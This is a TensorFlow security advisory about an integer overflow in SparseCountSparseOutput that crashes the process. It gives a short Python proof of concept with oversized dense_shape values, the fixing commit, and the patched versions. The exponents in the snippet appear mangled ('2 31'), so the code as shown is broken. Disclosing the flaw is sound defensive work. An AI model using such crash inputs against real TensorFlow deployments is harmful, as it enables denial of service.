Integer overflow leading to crash in Tensorflow

Impact

The [implementation of SparseCountSparseOutput](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:

```python

import tensorflow as tf

import numpy as np

tf.raw_ops.SparseCountSparseOutput(

indices=[[1,1]],

values=[2],

dense_shape=[2 31, 2 32],

weights=[1],

binary_output=True,

minlength=-1,

maxlength=-1,

name=None)

`

Patches

We have patched the issue in GitHub commit [6f4d3e8139ec724dbbcb40505891c81dd1052c4a](https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
